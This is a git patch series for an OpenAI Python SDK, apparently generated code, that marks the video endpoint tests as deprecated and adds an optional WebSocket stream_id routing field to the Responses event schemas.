- video = await response.parse()
- assert_matches_type(Video, video, path=["response"])
+ video = await response.parse()
+ assert_matches_type(Video, video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
async def test_path_params_retrieve(self, async_client: AsyncOpenAI) -> None:
- with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
- await async_client.videos.with_raw_response.retrieve(
- "",
- )
+ with pytest.warns(DeprecationWarning):
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
+ await async_client.videos.with_raw_response.retrieve(
+ "",
+ )
@parametrize
async def test_method_list(self, async_client: AsyncOpenAI) -> None:
- video = await async_client.videos.list()
+ with pytest.warns(DeprecationWarning):
+ video = await async_client.videos.list()
+
assert_matches_type(AsyncConversationCursorPage[Video], video, path=["response"])
@parametrize
async def test_method_list_with_all_params(self, async_client: AsyncOpenAI) -> None:
- video = await async_client.videos.list(
- after="after",
- limit=0,
- order="asc",
- )
+ with pytest.warns(DeprecationWarning):
+ video = await async_client.videos.list(
+ after="after",
+ limit=0,
+ order="asc",
+ )
+
assert_matches_type(AsyncConversationCursorPage[Video], video, path=["response"])
@parametrize
async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
- response = await async_client.videos.with_raw_response.list()
+ with pytest.warns(DeprecationWarning):
+ response = await async_client.videos.with_raw_response.list()
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -535,27 +600,31 @@ async def test_raw_response_list(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_streaming_response_list(self, async_client: AsyncOpenAI) -> None:
- async with async_client.videos.with_streaming_response.list() as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ async with async_client.videos.with_streaming_response.list() as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = await response.parse()
- assert_matches_type(AsyncConversationCursorPage[Video], video, path=["response"])
+ video = await response.parse()
+ assert_matches_type(AsyncConversationCursorPage[Video], video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
async def test_method_delete(self, async_client: AsyncOpenAI) -> None:
- video = await async_client.videos.delete(
- "video_123",
- )
+ with pytest.warns(DeprecationWarning):
+ video = await async_client.videos.delete(
+ "video_123",
+ )
+
assert_matches_type(VideoDeleteResponse, video, path=["response"])
@parametrize
async def test_raw_response_delete(self, async_client: AsyncOpenAI) -> None:
- response = await async_client.videos.with_raw_response.delete(
- "video_123",
- )
+ with pytest.warns(DeprecationWarning):
+ response = await async_client.videos.with_raw_response.delete(
+ "video_123",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -564,38 +633,43 @@ async def test_raw_response_delete(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_streaming_response_delete(self, async_client: AsyncOpenAI) -> None:
- async with async_client.videos.with_streaming_response.delete(
- "video_123",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ async with async_client.videos.with_streaming_response.delete(
+ "video_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = await response.parse()
- assert_matches_type(VideoDeleteResponse, video, path=["response"])
+ video = await response.parse()
+ assert_matches_type(VideoDeleteResponse, video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
async def test_path_params_delete(self, async_client: AsyncOpenAI) -> None:
- with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
- await async_client.videos.with_raw_response.delete(
- "",
- )
+ with pytest.warns(DeprecationWarning):
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
+ await async_client.videos.with_raw_response.delete(
+ "",
+ )
@parametrize
async def test_method_create_character(self, async_client: AsyncOpenAI) -> None:
- video = await async_client.videos.create_character(
- name="x",
- video=b"Example data",
- )
+ with pytest.warns(DeprecationWarning):
+ video = await async_client.videos.create_character(
+ name="x",
+ video=b"Example data",
+ )
+
assert_matches_type(VideoCreateCharacterResponse, video, path=["response"])
@parametrize
async def test_raw_response_create_character(self, async_client: AsyncOpenAI) -> None:
- response = await async_client.videos.with_raw_response.create_character(
- name="x",
- video=b"Example data",
- )
+ with pytest.warns(DeprecationWarning):
+ response = await async_client.videos.with_raw_response.create_character(
+ name="x",
+ video=b"Example data",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -604,15 +678,16 @@ async def test_raw_response_create_character(self, async_client: AsyncOpenAI) ->
@parametrize
async def test_streaming_response_create_character(self, async_client: AsyncOpenAI) -> None:
- async with async_client.videos.with_streaming_response.create_character(
- name="x",
- video=b"Example data",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ async with async_client.videos.with_streaming_response.create_character(
+ name="x",
+ video=b"Example data",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = await response.parse()
- assert_matches_type(VideoCreateCharacterResponse, video, path=["response"])
+ video = await response.parse()
+ assert_matches_type(VideoCreateCharacterResponse, video, path=["response"])
assert cast(Any, response.is_closed) is True
@@ -620,9 +695,10 @@ async def test_streaming_response_create_character(self, async_client: AsyncOpen
@pytest.mark.respx2(base_url=base_url)
async def test_method_download_content(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
respx2_mock.get("/videos/video_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
- video = await async_client.videos.download_content(
- video_id="video_123",
- )
+ with pytest.warns(DeprecationWarning):
+ video = await async_client.videos.download_content(
+ video_id="video_123",
+ )
assert isinstance(video, _legacy_response.HttpxBinaryResponseContent)
assert video.json() == {"foo": "bar"}
@@ -632,10 +708,11 @@ async def test_method_download_content_with_all_params(
self, async_client: AsyncOpenAI, respx2_mock: MockRouter
) -> None:
respx2_mock.get("/videos/video_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
- video = await async_client.videos.download_content(
- video_id="video_123",
- variant="video",
- )
+ with pytest.warns(DeprecationWarning):
+ video = await async_client.videos.download_content(
+ video_id="video_123",
+ variant="video",
+ )
assert isinstance(video, _legacy_response.HttpxBinaryResponseContent)
assert video.json() == {"foo": "bar"}
@@ -644,9 +721,10 @@ async def test_method_download_content_with_all_params(
async def test_raw_response_download_content(self, async_client: AsyncOpenAI, respx2_mock: MockRouter) -> None:
respx2_mock.get("/videos/video_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
- response = await async_client.videos.with_raw_response.download_content(
- video_id="video_123",
- )
+ with pytest.warns(DeprecationWarning):
+ response = await async_client.videos.with_raw_response.download_content(
+ video_id="video_123",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -659,39 +737,44 @@ async def test_streaming_response_download_content(
self, async_client: AsyncOpenAI, respx2_mock: MockRouter
) -> None:
respx2_mock.get("/videos/video_123/content").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
- async with async_client.videos.with_streaming_response.download_content(
- video_id="video_123",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ async with async_client.videos.with_streaming_response.download_content(
+ video_id="video_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = await response.parse()
- assert_matches_type(bytes, video, path=["response"])
+ video = await response.parse()
+ assert_matches_type(bytes, video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
@pytest.mark.respx2(base_url=base_url)
async def test_path_params_download_content(self, async_client: AsyncOpenAI) -> None:
- with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
- await async_client.videos.with_raw_response.download_content(
- video_id="",
- )
+ with pytest.warns(DeprecationWarning):
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
+ await async_client.videos.with_raw_response.download_content(
+ video_id="",
+ )
@parametrize
async def test_method_edit(self, async_client: AsyncOpenAI) -> None:
- video = await async_client.videos.edit(
- prompt="x",
- video=b"Example data",
- )
+ with pytest.warns(DeprecationWarning):
+ video = await async_client.videos.edit(
+ prompt="x",
+ video=b"Example data",
+ )
+
assert_matches_type(Video, video, path=["response"])
@parametrize
async def test_raw_response_edit(self, async_client: AsyncOpenAI) -> None:
- response = await async_client.videos.with_raw_response.edit(
- prompt="x",
- video=b"Example data",
- )
+ with pytest.warns(DeprecationWarning):
+ response = await async_client.videos.with_raw_response.edit(
+ prompt="x",
+ video=b"Example data",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -700,34 +783,38 @@ async def test_raw_response_edit(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_streaming_response_edit(self, async_client: AsyncOpenAI) -> None:
- async with async_client.videos.with_streaming_response.edit(
- prompt="x",
- video=b"Example data",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ async with async_client.videos.with_streaming_response.edit(
+ prompt="x",
+ video=b"Example data",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = await response.parse()
- assert_matches_type(Video, video, path=["response"])
+ video = await response.parse()
+ assert_matches_type(Video, video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
async def test_method_extend(self, async_client: AsyncOpenAI) -> None:
- video = await async_client.videos.extend(
- prompt="x",
- seconds="4",
- video=b"Example data",
- )
+ with pytest.warns(DeprecationWarning):
+ video = await async_client.videos.extend(
+ prompt="x",
+ seconds="4",
+ video=b"Example data",
+ )
+
assert_matches_type(Video, video, path=["response"])
@parametrize
async def test_raw_response_extend(self, async_client: AsyncOpenAI) -> None:
- response = await async_client.videos.with_raw_response.extend(
- prompt="x",
- seconds="4",
- video=b"Example data",
- )
+ with pytest.warns(DeprecationWarning):
+ response = await async_client.videos.with_raw_response.extend(
+ prompt="x",
+ seconds="4",
+ video=b"Example data",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -736,31 +823,35 @@ async def test_raw_response_extend(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_streaming_response_extend(self, async_client: AsyncOpenAI) -> None:
- async with async_client.videos.with_streaming_response.extend(
- prompt="x",
- seconds="4",
- video=b"Example data",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ async with async_client.videos.with_streaming_response.extend(
+ prompt="x",
+ seconds="4",
+ video=b"Example data",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = await response.parse()
- assert_matches_type(Video, video, path=["response"])
+ video = await response.parse()
+ assert_matches_type(Video, video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
async def test_method_get_character(self, async_client: AsyncOpenAI) -> None:
- video = await async_client.videos.get_character(
- "char_123",
- )
+ with pytest.warns(DeprecationWarning):
+ video = await async_client.videos.get_character(
+ "char_123",
+ )
+
assert_matches_type(VideoGetCharacterResponse, video, path=["response"])
@parametrize
async def test_raw_response_get_character(self, async_client: AsyncOpenAI) -> None:
- response = await async_client.videos.with_raw_response.get_character(
- "char_123",
- )
+ with pytest.warns(DeprecationWarning):
+ response = await async_client.videos.with_raw_response.get_character(
+ "char_123",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -769,38 +860,43 @@ async def test_raw_response_get_character(self, async_client: AsyncOpenAI) -> No
@parametrize
async def test_streaming_response_get_character(self, async_client: AsyncOpenAI) -> None:
- async with async_client.videos.with_streaming_response.get_character(
- "char_123",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ async with async_client.videos.with_streaming_response.get_character(
+ "char_123",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = await response.parse()
- assert_matches_type(VideoGetCharacterResponse, video, path=["response"])
+ video = await response.parse()
+ assert_matches_type(VideoGetCharacterResponse, video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
async def test_path_params_get_character(self, async_client: AsyncOpenAI) -> None:
- with pytest.raises(ValueError, match=r"Expected a non-empty value for `character_id` but received ''"):
- await async_client.videos.with_raw_response.get_character(
- "",
- )
+ with pytest.warns(DeprecationWarning):
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `character_id` but received ''"):
+ await async_client.videos.with_raw_response.get_character(
+ "",
+ )
@parametrize
async def test_method_remix(self, async_client: AsyncOpenAI) -> None:
- video = await async_client.videos.remix(
- video_id="video_123",
- prompt="x",
- )
+ with pytest.warns(DeprecationWarning):
+ video = await async_client.videos.remix(
+ video_id="video_123",
+ prompt="x",
+ )
+
assert_matches_type(Video, video, path=["response"])
@parametrize
async def test_raw_response_remix(self, async_client: AsyncOpenAI) -> None:
- response = await async_client.videos.with_raw_response.remix(
- video_id="video_123",
- prompt="x",
- )
+ with pytest.warns(DeprecationWarning):
+ response = await async_client.videos.with_raw_response.remix(
+ video_id="video_123",
+ prompt="x",
+ )
assert response.is_closed is True
assert response.http_request.headers.get("X-Stainless-Lang") == "python"
@@ -809,25 +905,27 @@ async def test_raw_response_remix(self, async_client: AsyncOpenAI) -> None:
@parametrize
async def test_streaming_response_remix(self, async_client: AsyncOpenAI) -> None:
- async with async_client.videos.with_streaming_response.remix(
- video_id="video_123",
- prompt="x",
- ) as response:
- assert not response.is_closed
- assert response.http_request.headers.get("X-Stainless-Lang") == "python"
+ with pytest.warns(DeprecationWarning):
+ async with async_client.videos.with_streaming_response.remix(
+ video_id="video_123",
+ prompt="x",
+ ) as response:
+ assert not response.is_closed
+ assert response.http_request.headers.get("X-Stainless-Lang") == "python"
- video = await response.parse()
- assert_matches_type(Video, video, path=["response"])
+ video = await response.parse()
+ assert_matches_type(Video, video, path=["response"])
assert cast(Any, response.is_closed) is True
@parametrize
async def test_path_params_remix(self, async_client: AsyncOpenAI) -> None:
- with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
- await async_client.videos.with_raw_response.remix(
- video_id="",
- prompt="x",
- )
+ with pytest.warns(DeprecationWarning):
+ with pytest.raises(ValueError, match=r"Expected a non-empty value for `video_id` but received ''"):
+ await async_client.videos.with_raw_response.remix(
+ video_id="",
+ prompt="x",
+ )
@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
@@ -835,7 +933,7 @@ def test_create_and_poll_method_in_sync(sync: bool, client: OpenAI, async_client
checking_client: OpenAI | AsyncOpenAI = client if sync else async_client
assert_signatures_in_sync(
- checking_client.videos.create,
- checking_client.videos.create_and_poll,
+ checking_client.videos.create, # pyright: ignore[reportDeprecated]
+ checking_client.videos.create_and_poll, # pyright: ignore[reportDeprecated]
exclude_params={"extra_headers", "extra_query", "extra_body", "timeout"},
)
From d9029e3ada3c008b4631d78a425743445730892a Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Thu, 13 Aug 2026 21:28:39 +0000
Subject: [PATCH 015/341] feat(api): add WebSocket stream IDs (#3612)
## Summary
Adds optional WebSocket-only stream_id routing metadata to Responses
client events and all server response events. Events sharing a stream ID
are processed FIFO and response events echo that identifier.
Source: https://github.com/openai/openai/pull/1282468
OpenAPI commit: 1e5b3b1f1d21b51c5a37d6122c2b3b2d70ef5a1a
## Validation
- Castiron public-baseline generation and formatter completed
- Python source compilation passed
- Strict generated-diff quality review passed
- No private inputs, workflow files, or internal-repository changes are
included
---
.castiron.stats.yml | 8 +-
api_reference/openapi.transformed.yml | 1368 ++++++++++++++++-
.../resources/beta/responses/responses.py | 20 +-
src/openai/resources/responses/responses.py | 12 +-
.../types/beta/beta_responses_client_event.py | 14 +-
.../beta/beta_responses_client_event_param.py | 14 +-
.../types/beta/beta_responses_server_event.py | 757 ++++++++-
.../types/responses/responses_client_event.py | 10 +
.../responses/responses_client_event_param.py | 10 +
.../types/responses/responses_server_event.py | 757 ++++++++-
10 files changed, 2841 insertions(+), 129 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 9a079151b6..7fb22f689b 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,6 +1,6 @@
schema_version: 1
-generation_id: 625cc75a-e869-4197-b1a1-0ab0f2dd58bf
-openapi_spec_hash: 9b793011794d783fd6a2d71d8a6f6972
-openapi_transformed_spec_hash: 89ade65e8a3170ca977f145feda2a689
+generation_id: 53946e0b-ca32-4724-9f42-4155beea8a67
+openapi_spec_hash: 15849b9fe3deb3c72da0825905cc0ad9
+openapi_transformed_spec_hash: 9a60ddf3a1c752e15eb43fce666d6da8
config_hash: fcda4ecfe265daddba6fad25a8504a3f
-codegen_sha: 25f5de7c38e1809ac8576f80aba10db4a6c01df0
+codegen_sha: c8ff09541f193ac6671e2b55556913971a35d54c
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index c62bc6b044..7c6feb66ad 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -54665,20 +54665,36 @@ components:
description: |
The type of the client event. Always `response.create`.
x-stainless-const: true
+ stream_id:
+ type: string
+ minLength: 1
+ maxLength: 256
+ pattern: ^[A-Za-z0-9_.-]+$
+ description: |
+ The WebSocket lane for this response. Requests with the same
+ `stream_id` are processed FIFO, and events for the response echo the
+ same `stream_id`.
+
+ `stream_id` controls routing; `previous_response_id` controls
+ conversation lineage, so a new lane can fork from a response created
+ on another lane.
required:
- type
- $ref: '#/components/schemas/CreateResponse'
description: |
Client event for creating a response over a persistent WebSocket connection.
- This payload uses the same top-level fields as `POST /v1/responses`.
+ This payload uses the same top-level fields as `POST /v1/responses`, plus
+ WebSocket-only envelope metadata.
Notes:
- `stream` is implicit over WebSocket and should not be sent.
- `background` is not supported over WebSocket.
+ - `stream_id` is WebSocket-only and is not part of `POST /v1/responses`.
x-oaiMeta:
example: |
{
"type": "response.create",
+ "stream_id": "agent_1",
"model": "gpt-5.5",
"input": "Say hello."
}
@@ -54688,7 +54704,672 @@ components:
description: |
Server events emitted by the Responses WebSocket server.
anyOf:
+ - title: ResponseAudioWsDelta
+ description: Emitted when there is a partial audio response.
+ allOf:
+ - $ref: '#/components/schemas/ResponseAudioDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseAudioWsDone
+ description: Emitted when the audio response is complete.
+ allOf:
+ - $ref: '#/components/schemas/ResponseAudioDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseAudioTranscriptWsDelta
+ description: Emitted when there is a partial transcript of audio.
+ allOf:
+ - $ref: '#/components/schemas/ResponseAudioTranscriptDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseAudioTranscriptWsDone
+ description: Emitted when the full audio transcript is completed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseAudioTranscriptDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseCodeInterpreterCallCodeWsDelta
+ description: Emitted when a partial code snippet is streamed by the code interpreter.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallCodeDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseCodeInterpreterCallCodeWsDone
+ description: Emitted when the code snippet is finalized by the code interpreter.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallCodeDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseCodeInterpreterCallWsCompleted
+ description: Emitted when the code interpreter call is completed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseCodeInterpreterCallInWsProgress
+ description: Emitted when a code interpreter call is in progress.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseCodeInterpreterCallWsInterpreting
+ description: Emitted when the code interpreter is actively interpreting the code snippet.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallInterpretingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWsCompleted
+ description: Emitted when the model response is complete.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseContentPartWsAdded
+ description: Emitted when a new content part is added.
+ allOf:
+ - $ref: '#/components/schemas/ResponseContentPartAddedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseContentPartWsDone
+ description: Emitted when a content part is done.
+ allOf:
+ - $ref: '#/components/schemas/ResponseContentPartDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWsCreated
+ description: |
+ An event that is emitted when a response is created.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCreatedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWsError
+ description: Emitted when an error occurs.
+ allOf:
+ - $ref: '#/components/schemas/ResponseErrorEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseFileSearchCallWsCompleted
+ description: Emitted when a file search call is completed (results found).
+ allOf:
+ - $ref: '#/components/schemas/ResponseFileSearchCallCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseFileSearchCallInWsProgress
+ description: Emitted when a file search call is initiated.
+ allOf:
+ - $ref: '#/components/schemas/ResponseFileSearchCallInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseFileSearchCallWsSearching
+ description: Emitted when a file search is currently searching.
+ allOf:
+ - $ref: '#/components/schemas/ResponseFileSearchCallSearchingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseFunctionCallArgumentsWsDelta
+ description: Emitted when there is a partial function-call arguments delta.
+ allOf:
+ - $ref: '#/components/schemas/ResponseFunctionCallArgumentsDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseFunctionCallArgumentsWsDone
+ description: Emitted when function-call arguments are finalized.
+ allOf:
+ - $ref: '#/components/schemas/ResponseFunctionCallArgumentsDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseInWsProgress
+ description: Emitted when the response is in progress.
+ allOf:
+ - $ref: '#/components/schemas/ResponseInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWsFailed
+ description: |
+ An event that is emitted when a response fails.
+ allOf:
+ - $ref: '#/components/schemas/ResponseFailedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWsIncomplete
+ description: |
+ An event that is emitted when a response finishes as incomplete.
+ allOf:
+ - $ref: '#/components/schemas/ResponseIncompleteEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseOutputItemWsAdded
+ description: Emitted when a new output item is added.
+ allOf:
+ - $ref: '#/components/schemas/ResponseOutputItemAddedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseOutputItemWsDone
+ description: Emitted when an output item is marked done.
+ allOf:
+ - $ref: '#/components/schemas/ResponseOutputItemDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseReasoningSummaryPartWsAdded
+ description: Emitted when a new reasoning summary part is added.
+ allOf:
+ - $ref: '#/components/schemas/ResponseReasoningSummaryPartAddedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseReasoningSummaryPartWsDone
+ description: Emitted when a reasoning summary part is completed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseReasoningSummaryPartDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseReasoningSummaryTextWsDelta
+ description: Emitted when a delta is added to a reasoning summary text.
+ allOf:
+ - $ref: '#/components/schemas/ResponseReasoningSummaryTextDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseReasoningSummaryTextWsDone
+ description: Emitted when a reasoning summary text is completed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseReasoningSummaryTextDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseReasoningTextWsDelta
+ description: Emitted when a delta is added to a reasoning text.
+ allOf:
+ - $ref: '#/components/schemas/ResponseReasoningTextDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseReasoningTextWsDone
+ description: Emitted when a reasoning text is completed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseReasoningTextDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseRefusalWsDelta
+ description: Emitted when there is a partial refusal text.
+ allOf:
+ - $ref: '#/components/schemas/ResponseRefusalDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseRefusalWsDone
+ description: Emitted when refusal text is finalized.
+ allOf:
+ - $ref: '#/components/schemas/ResponseRefusalDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseTextWsDelta
+ description: Emitted when there is an additional text delta.
+ allOf:
+ - $ref: '#/components/schemas/ResponseTextDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseTextWsDone
+ description: Emitted when text content is finalized.
+ allOf:
+ - $ref: '#/components/schemas/ResponseTextDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWebSearchCallWsCompleted
+ description: Emitted when a web search call is completed.
+ allOf:
